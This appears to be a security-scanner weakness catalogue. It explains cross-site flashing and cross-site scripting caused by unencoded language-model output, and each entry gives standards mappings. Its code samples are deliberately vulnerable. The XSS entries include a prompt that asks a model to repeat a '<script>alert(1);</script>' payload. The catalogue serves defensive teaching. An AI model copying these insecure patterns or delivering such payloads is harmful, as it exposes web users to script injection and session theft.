Kingdom: Input Validation and Representation

Input validation and representation problems ares caused by metacharacters, alternate encodings and numeric representations. Security problems result from trusting input. The issues include: "Buffer Overflows," "Cross-Site Scripting" attacks, "SQL Injection," and many others.

200 items found
Weaknesses
Abstract
The program uses unvalidated user input to load a SWF file, which can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.
Explanation
Flash APIs provide an interface for loading remote SWF files into the existing execution environment. Even though the cross-domain policy only allows to load SWF files from a list of trusted domains, more often than not the defined cross-domain policy is overly permissive. Allowing untrusted user input to define which SWF files to load can lead to arbitrary content being referenced and possibly executed by the targeted application, resulting in a cross-site flashing attack.

Cross-site flashing vulnerabilities occur when:

1. Data enters an application from an untrusted source.

2. The data is used to load a remote SWF file.
Example 1: The following code uses the value of one of the parameters to the loaded SWF file as the URL to load a remote SWF file from.


...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
var ldr:Loader = new Loader();
var urlReq:URLRequest = new URLRequest(url);
ldr.load(urlReq);
...
References
[1] Peleus Uhley Creating more secure SWF web applications
[2] Matt Wood and Prajakta Jagdale Auditing Adobe Flash through Static Analysis
[3] Standards Mapping - Common Weakness Enumeration CWE ID 494, CWE ID 829
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.3 Dependency (L1 L2 L3), 14.2.4 Dependency (L2 L3)
[9] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2021 A08 Software and Data Integrity Failures
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[25] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 494
[26] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[27] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494, Risky Resource Management - CWE ID 829
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002530 CAT II, APSC-DV-003300 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.actionscript.cross_site_flashing
Abstract
Sending unvalidated machine learning model output to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following Java code retrieves a response from a large language model and returns it to the user in an HTTP response.


@GetMapping("/ai")
String generation(String userInput) {
return this.chatClient.prompt()
.user(userInput)
.call()
.content();
}

The code in this example behaves as expected if the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return an XSS proof of concept depending on the model and context being used.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_ai
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system. In the case of reflected XSS, it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following TypeScript code retrieves a response from an OpenAI chat completion model, message, and displays it to the user.


const openai = new OpenAI({
apiKey: ...,
});
const chatCompletion = await openai.chat.completions.create(...);

message = res.choices[0].message.content

console.log(chatCompletion.choices[0].message.content)


The code in this example behaves as expected as long as the response from the model contains only alphanumeric characters. However, if the response includes unencoded HTML metacharacters, then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return a XSS proof of concept depending on the model and context being used.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_ai
Abstract
Sending unvalidated machine learning model output to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following kotlin code retrieves a response from a large language model and returns it to the user in an HTTP response.

val chatCompletionRequest = ChatCompletionRequest(
model = ModelId("gpt-3.5-turbo"),
messages = listOf(...)
)
val completion: ChatCompletion = openAI.chatCompletion(chatCompletionRequest)
response.getOutputStream().print(completion.choices[0].message)

The code in this example behaves as expected if the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return an XSS proof of concept depending on the model and context being used.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_ai
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of Artificial Intelligence (AI), the untrusted source is typically the response returned by an AI system. In the case of reflected XSS, it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. While exploitation is not as straightforward as other forms of XSS, the unpredictable nature of user input and the responses of AI models means that those responses should never be treated as safe.

Example 1: The following Python code retrieves a response from an OpenAI chat completion model, message, and displays it to the user.


client = openai.OpenAI()
res = client.chat.completions.create(...)

message = res.choices[0].message.content

self.writeln(f"<p>{message}<\p>")


The code in this example will behave as expected as long as the response from the model contains only alpha-numeric characters. However, if unencoded HTML metacharacters are included in the response then XSS is possible. For example, the response to the following prompt "please repeat the following statement exactly '<script>alert(1);</script>'" can return a XSS proof of concept depending on the model and context being used.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
